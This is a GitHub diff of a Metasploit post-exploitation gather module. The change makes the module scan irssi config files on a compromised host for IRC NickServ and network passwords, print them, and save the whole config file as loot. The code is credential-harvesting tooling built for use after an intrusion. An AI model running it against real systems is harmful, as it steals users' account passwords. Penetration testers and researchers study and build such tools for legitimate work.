File tree Expand file tree Collapse file tree 1 file changed +15
-18
lines changed
modules/post/multi/gather Expand file tree Collapse file tree 1 file changed +15
-18
lines changed Original file line number Diff line number Diff line change @@ -46,18 +46,19 @@ def run
46
46
# ***Network Password Example***
47
47
# password = "example_password";
48
48
#
49
- def extract_passwords ( path )
49
+ def contains_passwords? ( path )
50
50
data = read_file ( path )
51
51
identify_passwords = data . scan ( /\/ \^ ?msg nickserv identify ([^\s ]+)/ )
52
52
network_passwords = data . scan ( /^?password = "([^\s ]+)"/ )
53
53
54
54
passwords = identify_passwords . flatten + network_passwords . flatten
55
55
56
56
if passwords . any?
57
- return passwords
57
+ print_good ( "Found IRC password(s) of #{ passwords . join ( ',' ) } in irssi config at #{ path } " )
58
+ return true
58
59
end
59
60
60
- [ ]
61
+ false
61
62
end
62
63
63
64
def download_passwords ( paths )
@@ -67,21 +68,17 @@ def download_passwords(paths)
67
68
path . chomp!
68
69
next if [ '.' , '..' ] . include? ( path )
69
70
70
- irc_passwords = extract_passwords ( path )
71
-
72
- next if irc_passwords . empty?
73
-
74
- print_good ( "Found IRC password(s): #{ irc_passwords . join ( ',' ) } " )
75
-
76
- loot_path = store_loot (
77
- 'irc.passwords' ,
78
- 'text/plain' ,
79
- session ,
80
- irc_passwords . join ( "\n " ) ,
81
- path ,
82
- 'IRC Password'
83
- )
84
- print_good ( "IRC password(s) stored in #{ loot_path } " )
71
+ if contains_passwords? ( path )
72
+ loot_path = store_loot (
73
+ 'irssi config file' ,
74
+ 'text/plain' ,
75
+ session ,
76
+ read_file ( path ) ,
77
+ path ,
78
+ 'IRC Password'
79
+ )
80
+ print_good ( "irssi config with passwords stored in #{ loot_path } " )
81
+ end
85
82
end
86
83
end
87
84
You can’t perform that action at this time.
0 commit comments